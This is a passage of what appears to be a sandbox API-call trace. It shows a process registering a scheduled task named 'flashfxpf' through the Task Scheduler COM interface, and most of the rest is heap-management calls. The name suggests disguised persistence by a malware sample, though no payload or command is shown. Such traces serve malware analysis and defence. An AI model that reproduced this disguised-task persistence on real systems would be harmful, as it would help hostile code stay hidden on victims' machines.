IUnknown:Release (This=0x4d7ed0) returned 0x1 [0163.744] GetLocalTime (in: lpSystemTime=0x1dc998 | out: lpSystemTime=0x1dc998*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x16, wMilliseconds=0x354)) [0163.744] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0163.744] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0163.744] GetUserNameW (in: lpBuffer=0x1dc9c0, pcbBuffer=0x1dc9a8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1dc9a8) returned 1 [0163.745] ITaskDefinition:get_RegistrationInfo (in: This=0x4d7c60, ppRegistrationInfo=0x1dc990 | out: ppRegistrationInfo=0x1dc990*=0x4d7da0) returned 0x0 [0163.745] IRegistrationInfo:put_Author (This=0x4d7da0, Author="") returned 0x0 [0163.745] _vsnwprintf (in: _Buffer=0x1dc9c0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1dc958 | out: _Buffer="2022-08-06T02:19:22") returned 19 [0163.745] IRegistrationInfo:put_Date (This=0x4d7da0, Date="") returned 0x0 [0163.745] IUnknown:Release (This=0x4d7da0) returned 0x1 [0163.745] malloc (_Size=0x18) returned 0x4d5a80 [0163.746] free (_Block=0x4d5a80) [0163.746] lstrlenW (lpString="") returned 0 [0163.746] malloc (_Size=0x18) returned 0x4d5a80 [0163.746] ITaskFolder:RegisterTaskDefinition (in: This=0x4d7c10, Path="flashfxpf", pDefinition=0x4d7c60, flags=6, UserId=0x1dcc30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1dcc70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1deb40, varVal2=0xfe), LogonType=3, sddl=0x1dcc50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1dcb50 | out: ppTask=0x1dcb50*=0x4d6350) returned 0x0 [0164.065] free (_Block=0x4d5a80) [0164.065] _memicmp (_Buf1=0x21ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.065] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x21d250, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0164.065] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0164.065] GetProcessHeap () returned 0x200000 [0164.065] GetProcessHeap () returned 0x200000 [0164.065] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d5b0) returned 1 [0164.066] GetProcessHeap () returned 0x200000 [0164.066] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d5b0) returned 0xc [0164.066] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d5b0 | out: hHeap=0x200000) returned 1 [0164.066] GetProcessHeap () returned 0x200000 [0164.066] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x82) returned 0x239aa0 [0164.066] _vsnwprintf (in: _Buffer=0x1dd290, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1dcaf8 | out: _Buffer="SUCCESS: The scheduled task \"flashfxpf\" has successfully been created.\n") returned 71 [0164.066] _fileno (_File=0x7fefed02ab0) returned -2 [0164.066] _errno () returned 0x4d4bb0 [0164.066] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0164.066] SetLastError (dwErrCode=0x6) [0164.066] lstrlenW (lpString="SUCCESS: The scheduled task \"flashfxpf\" has successfully been created.\n") returned 71 [0164.066] GetConsoleOutputCP () returned 0x0 [0164.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"flashfxpf\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0164.066] GetConsoleOutputCP () returned 0x0 [0164.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"flashfxpf\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xff491880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"flashfxpf\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0164.066] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 71 [0164.067] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0164.067] IUnknown:Release (This=0x4d6350) returned 0x0 [0164.067] TaskScheduler:IUnknown:Release (This=0x4d7c60) returned 0x0 [0164.067] TaskScheduler:IUnknown:Release (This=0x4d7c10) returned 0x0 [0164.067] TaskScheduler:IUnknown:Release (This=0x4d7a50) returned 0x1 [0164.067] lstrlenW (lpString="") returned 0 [0164.067] lstrlenW (lpString="9") returned 1 [0164.067] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="9", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0164.067] GetProcessHeap () returned 0x200000 [0164.067] GetProcessHeap () returned 0x200000 [0164.067] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c220) returned 1 [0164.067] GetProcessHeap () returned 0x200000 [0164.067] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c220) returned 0x1fc [0164.068] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c220 | out: hHeap=0x200000) returned 1 [0164.068] GetProcessHeap () returned 0x200000 [0164.068] GetProcessHeap () returned 0x200000 [0164.068] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b960) returned 1 [0164.068] GetProcessHeap () returned 0x200000 [0164.068] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b960) returned 0x4 [0164.068] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b960 | out: hHeap=0x200000) returned 1 [0164.068] GetProcessHeap () returned 0x200000 [0164.068] GetProcessHeap () returned 0x200000 [0164.068] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d490) returned 1 [0164.068] GetProcessHeap () returned 0x200000 [0164.068] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d490) returned 0x16 [0164.068] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d490 | out: hHeap=0x200000) returned 1 [0164.068] GetProcessHeap () returned 0x200000 [0164.068] GetProcessHeap () returned 0x200000 [0164.068] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d4b0) returned 1 [0164.068] GetProcessHeap () returned 0x200000 [0164.068] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d4b0) returned 0x18 [0164.068] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d4b0 | out: hHeap=0x200000) returned 1 [0164.068] GetProcessHeap () returned 0x200000 [0164.068] GetProcessHeap () returned 0x200000 [0164.068] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd20) returned 1 [0164.068] GetProcessHeap () returned 0x200000 [0164.068] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cd20) returned 0x20 [0164.069] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cd20 | out: hHeap=0x200000) returned 1 [0164.069] GetProcessHeap () returned 0x200000 [0164.069] GetProcessHeap () returned 0x200000 [0164.069] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bfc0) returned 1 [0164.069] GetProcessHeap () returned 0x200000 [0164.069] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bfc0) returned 0xa0 [0164.069] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bfc0 | out: hHeap=0x200000) returned 1 [0164.069] GetProcessHeap () returned 0x200000 [0164.069] GetProcessHeap () returned 0x200000 [0164.069] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ba40) returned 1 [0164.069] GetProcessHeap () returned 0x200000 [0164.069] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ba40) returned 0x18 [0164.069] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ba40 | out: hHeap=0x200000) returned 1 [0164.069] GetProcessHeap () returned 0x200000 [0164.069] GetProcessHeap () returned 0x200000 [0164.069] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cae0) returned 1 [0164.069] GetProcessHeap () returned 0x200000 [0164.069] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cae0) returned 0x20 [0164.070] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cae0 | out: hHeap=0x200000) returned 1 [0164.070] GetProcessHeap () returned 0x200000 [0164.070] GetProcessHeap () returned 0x200000 [0164.070] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21dc60) returned 1 [0164.070] GetProcessHeap () returned 0x200000 [0164.070] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21dc60) returned 0x4a [0164.070] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21dc60 | out: hHeap=0x200000) returned 1 [0164.070] GetProcessHeap () returned 0x200000 [0164.070] GetProcessHeap () returned 0x200000 [0164.070] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d530) returned 1 [0164.070] GetProcessHeap () returned 0x200000 [0164.070] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d530) returned 0x18 [0164.070] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d530 | out: hHeap=0x200000) returned 1 [0164.070] GetProcessHeap () returned 0x200000 [0164.071] GetProcessHeap () returned 0x200000 [0164.071] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cab0) returned 1 [0164.071] GetProcessHeap () returned 0x200000 [0164.071] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cab0) returned 0x20 [0164.071] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cab0 | out: hHeap=0x200000) returned 1 [0164.071] GetProcessHeap () returned 0x200000 [0164.071] GetProcessHeap () returned 0x200000 [0164.071] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21dce0) returned 1 [0164.071] GetProcessHeap () returned 0x200000 [0164.071] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21dce0) returned 0x4c [0164.071] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21dce0 | out: hHeap=0x200000) returned 1 [0164.071] GetProcessHeap () returned 0x200000 [0164.071] GetProcessHeap () returned 0x200000 [0164.071] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d510) returned 1 [0164.071] GetProcessHeap () returned 0x200000 [0164.071] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d510) returned 0x18 [0164.071] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d510 | out: hHeap=0x200000) returned 1 [0164.071] GetProcessHeap () returned 0x200000 [0164.072] GetProcessHeap () returned 0x200000 [0164.072] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ca80) returned 1 [0164.072] GetProcessHeap () returned 0x200000 [0164.072] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ca80) returned 0x20 [0164.072] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ca80 | out: hHeap=0x200000) returned 1 [0164.072] GetProcessHeap () returned 0x200000 [0164.072] GetProcessHeap () returned 0x200000 [0164.072] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d4f0) returned 1 [0164.072] GetProcessHeap () returned 0x200000 [0164.072] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d4f0) returned 0xe [0164.072] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d4f0 | out: hHeap=0x200000) returned 1 [0164.072] GetProcessHeap () returned 0x200000 [0164.072] GetProcessHeap () returned 0x200000 [0164.072] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d4d0) returned 1 [0164.072] GetProcessHeap () returned 0x200000 [0164.072] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d4d0) returned 0x18 [0164.072] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d4d0 | out: hHeap=0x200000) returned 1 [0164.072] GetProcessHeap () returned 0x200000 [0164.072] GetProcessHeap () returned 0x200000 [0164.072] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215d20) returned 1 [0164.072] GetProcessHeap () returned 0x200000 [0164.072] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215d20) returned 0x20 [0164.073] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215d20 | out: hHeap=0x200000) returned 1 [0164.073] GetProcessHeap () returned 0x200000 [0164.073] GetProcessHeap () returned 0x200000 [0164.073] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21bbc0) returned 1 [0164.073] GetProcessHeap () returned 0x200000 [0164.073] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21bbc0) returned 0x208 [0164.074] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21bbc0 | out: hHeap=0x200000) returned 1 [0164.074] GetProcessHeap () returned 0x200000 [0164.074] GetProcessHeap () returned 0x200000 [0164.074] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ba20) returned 1 [0164.074] GetProcessHeap () returned 0x200000 [0164.074] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ba20) returned 0x18 [0164.074] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ba20 | out: hHeap=0x200000) returned 1 [0164.074] GetProcessHeap () returned 0x200000 [0164.074] GetProcessHeap () returned 0x200000 [0164.074] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215c30) returned 1 [0164.074] GetProcessHeap () returned 0x200000 [0164.074] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215c30) returned 0x20 [0164.074] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215c30 | out: hHeap=0x200000) returned 1 [0164.074] GetProcessHeap () returned 0x200000 [0164.074] GetProcessHeap () returned 0x200000 [0164.074] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d250) returned 1 [0164.074] GetProcessHeap () returned 0x200000 [0164.075] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d250) returned 0x200 [0164.075] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d250 | out: hHeap=0x200000) returned 1 [0164.075] GetProcessHeap () returned 0x200000 [0164.075] GetProcessHeap () returned 0x200000 [0164.075] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ba60) returned 1 [0164.075] GetProcessHeap () returned 0x200000 [0164.075] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ba60) returned 0x18 [0164.075] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ba60 | out: hHeap=0x200000) returned 1 [0164.075] GetProcessHeap () returned 0x200000 [0164.075] GetProcessHeap () returned 0x200000 [0164.075] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215ba0) returned 1 [0164.075] GetProcessHeap () returned 0x200000 [0164.075] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215ba0) returned 0x20 [0164.076] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215ba0 | out: hHeap=0x200000) returned 1 [0164.076] GetProcessHeap () returned 0x200000 [0164.076] GetProcessHeap () returned 0x200000 [0164.076] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c1d0) returned 1 [0164.076] GetProcessHeap () returned 0x200000 [0164.076] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c1d0) returned 0x14 [0164.076] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c1d0 | out: hHeap=0x200000) returned 1 [0164.076] GetProcessHeap () returned 0x200000 [0164.076] GetProcessHeap () returned 0x200000 [0164.076] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c1b0) returned 1 [0164.076] GetProcessHeap () returned 0x200000 [0164.076] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c1b0) returned 0x18 [0164.076] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c1b0 | out: hHeap=0x200000) returned 1 [0164.076] GetProcessHeap () returned 0x200000 [0164.076] GetProcessHeap () returned 0x200000 [0164.076] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215ae0) returned 1 [0164.076] GetProcessHeap () returned 0x200000 [0164.076] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215ae0) returned 0x20 [0164.076] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215ae0 | out: hHeap=0x200000) returned 1 [0164.076] GetProcessHeap () returned 0x200000 [0164.076] GetProcessHeap () returned 0x200000 [0164.077] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c1f0) returned 1 [0164.077] GetProcessHeap () returned 0x200000 [0164.077] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c1f0) returned 0x16 [0164.077] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c1f0 | out: hHeap=0x200000) returned 1 [0164.077] GetProcessHeap () returned 0x200000 [0164.077] GetProcessHeap () returned 0x200000 [0164.077] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c170) returned 1 [0164.077] GetProcessHeap () returned 0x200000 [0164.077] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c170) returned 0x18 [0164.077] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c170 | out: hHeap=0x200000) returned 1 [0164.077] GetProcessHeap () returned 0x200000 [0164.077] GetProcessHeap () returned 0x200000 [0164.077] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215ab0) returned 1 [0164.077] GetProcessHeap () returned 0x200000 [0164.077] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215ab0) returned 0x20 [0164.077] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215ab0 | out: hHeap=0x200000) returned 1 [0164.077] GetProcessHeap () returned 0x200000 [0164.077] GetProcessHeap () returned 0x200000 [0164.077] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21b9a0) returned 1 [0164.077] GetProcessHeap () returned 0x200000 [0164.077] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21b9a0) returned 0x2 [0164.077] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21b9a0 | out: hHeap=0x200000) returned 1 [0164.077] GetProcessHeap () returned 0x200000 [0164.078] GetProcessHeap () returned 0x200000 [0164.078] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215900) returned 1 [0164.078] GetProcessHeap () returned 0x200000 [0164.078] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215900) returned 0x20 [0164.078] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215900 | out: hHeap=0x200000) returned 1 [0164.078] GetProcessHeap () returned 0x200000 [0164.078] GetProcessHeap () returned 0x200000 [0164.078] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215930) returned 1 [0164.078] GetProcessHeap () returned 0x200000 [0164.078] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215930) returned 0x20 [0164.078] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215930 | out: hHeap=0x200000) returned 1 [0164.078] GetProcessHeap () returned 0x200000 [0164.078] GetProcessHeap () returned 0x200000 [0164.079] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215960) returned 1 [0164.079] GetProcessHeap () returned 0x200000 [0164.079] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215960) returned 0x20 [0164.079] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215960 | out: hHeap=0x200000) returned 1 [0164.079] GetProcessHeap () returned 0x200000 [0164.079] GetProcessHeap () returned 0x200000 [0164.079] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x215990) returned 1 [0164.079] GetProcessHeap () returned 0x200000 [0164.079] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x215990) returned 0x20 [0164.079] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x215990 | out: hHeap=0x200000) returned 1 [0164.079] GetProcessHeap () returned 0x200000 [0164.079] GetProcessHeap () returned 0x200000 [0164.079] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cb10) returned 1 [0164.079] GetProcessHeap () returned 0x200000 [0164.079] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cb10) returned 0x20 [0164.080] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cb10 | out: hHeap=0x200000) returned 1 [0164.080] GetProcessHeap () returned 0x200000 [0164.080] GetProcessHeap () returned 0x200000 [0164.080] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d630) returned 1 [0164.080] GetProcessHeap () returned 0x200000 [0164.080] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d630) returned 0xe [0164.080] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d630 | out: hHeap=0x200000) returned 1 [0164.080] GetProcessHeap () returned 0x200000 [0164.080] GetProcessHeap () returned 0x200000 [0164.080] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cb40) returned 1 [0164.080] GetProcessHeap () returned 0x200000 [0164.080] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cb40) returned 0x20 [0164.080] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cb40 | out: hHeap=0x200000) returned 1 [0164.080] GetProcessHeap () returned 0x200000 [0164.080] GetProcessHeap () returned 0x200000 [0164.080] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x217a20) returned 1 [0164.080] GetProcessHeap () returned 0x200000 [0164.080] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x217a20) returned 0x30 [0164.081] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x217a20 | out: hHeap=0x200000) returned 1 [0164.081] GetProcessHeap () returned 0x200000 [0164.081] GetProcessHeap () returned 0x200000 [0164.081] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cb70) returned 1 [0164.081] GetProcessHeap () returned 0x200000 [0164.081] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cb70) returned 0x20 [0164.081] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cb70 | out: hHeap=0x200000) returned 1 [0164.081] GetProcessHeap () returned 0x200000 [0164.081] GetProcessHeap () returned 0x200000 [0164.081] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x217a60) returned 1 [0164.081] GetProcessHeap () returned 0x200000 [0164.081] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x217a60) returned 0x30 [0164.081] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x217a60 | out: hHeap=0x200000) returned 1 [0164.081] GetProcessHeap () returned 0x200000 [0164.081] GetProcessHeap () returned 0x200000 [0164.081] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ccf0) returned 1 [0164.081] GetProcessHeap () returned 0x200000 [0164.081] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ccf0) returned 0x20 [0164.082] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ccf0 | out: hHeap=0x200000) returned 1 [0164.082] GetProcessHeap () returned 0x200000 [0164.082] GetProcessHeap () returned 0x200000 [0164.082] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d550) returned 1 [0164.082] GetProcessHeap () returned 0x200000 [0164.082] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d550) returned 0xe [0164.082] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d550 | out: hHeap=0x200000) returned 1 [0164.082] GetProcessHeap () returned 0x200000 [0164.082] GetProcessHeap () returned 0x200000 [0164.082] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21ccc0) returned 1 [0164.082] GetProcessHeap () returned 0x200000 [0164.082] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21ccc0) returned 0x20 [0164.082] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21ccc0 | out: hHeap=0x200000) returned 1 [0164.082] GetProcessHeap () returned 0x200000 [0164.082] GetProcessHeap () returned 0x200000 [0164.082] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d570) returned 1 [0164.082] GetProcessHeap () returned 0x200000 [0164.082] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d570) returned 0x16 [0164.082] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d570 | out: hHeap=0x200000) returned 1 [0164.082] GetProcessHeap () returned 0x200000 [0164.082] GetProcessHeap () returned 0x200000 [0164.082] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc90) returned 1 [0164.082] GetProcessHeap () returned 0x200000 [0164.082] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cc90) returned 0x20 [0164.083] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc90 | out: hHeap=0x200000) returned 1 [0164.083] GetProcessHeap () returned 0x200000 [0164.083] GetProcessHeap () returned 0x200000 [0164.083] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d590) returned 1 [0164.083] GetProcessHeap () returned 0x200000 [0164.083] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d590) returned 0x16 [0164.083] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d590 | out: hHeap=0x200000) returned 1 [0164.083] GetProcessHeap () returned 0x200000 [0164.083] GetProcessHeap () returned 0x200000 [0164.083] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc60) returned 1 [0164.083] GetProcessHeap () returned 0x200000 [0164.083] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cc60) returned 0x20 [0164.083] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc60 | out: hHeap=0x200000) returned 1 [0164.083] GetProcessHeap () returned 0x200000 [0164.083] GetProcessHeap () returned 0x200000 [0164.084] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x239aa0) returned 1 [0164.084] GetProcessHeap () returned 0x200000 [0164.084] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x239aa0) returned 0x82 [0164.084] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x239aa0 | out: hHeap=0x200000) returned 1 [0164.084] GetProcessHeap () returned 0x200000 [0164.084] GetProcessHeap () returned 0x200000 [0164.084] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc30) returned 1 [0164.084] GetProcessHeap () returned 0x200000 [0164.084] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21cc30) returned 0x20 [0164.085] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc30 | out: hHeap=0x200000) returned 1 [0164.085] GetProcessHeap () returned 0x200000 [0164.085] GetProcessHeap () returned 0x200000 [0164.085] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21d5d0) returned 1 [0164.085] GetProcessHeap () returned 0x200000 [0164.085] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21d5d0) returned 0xe [0164.085] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21d5d0 | out: hHeap=0x200000) returned 1 [0164.085] GetProcessHeap () returned 0x200000 [0164.085] GetProcessHeap () returned 0x200000 [0164.085] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21cc00) returned 1 [0164.085] GetProcessHeap () returned 0x200000 [0164.085] 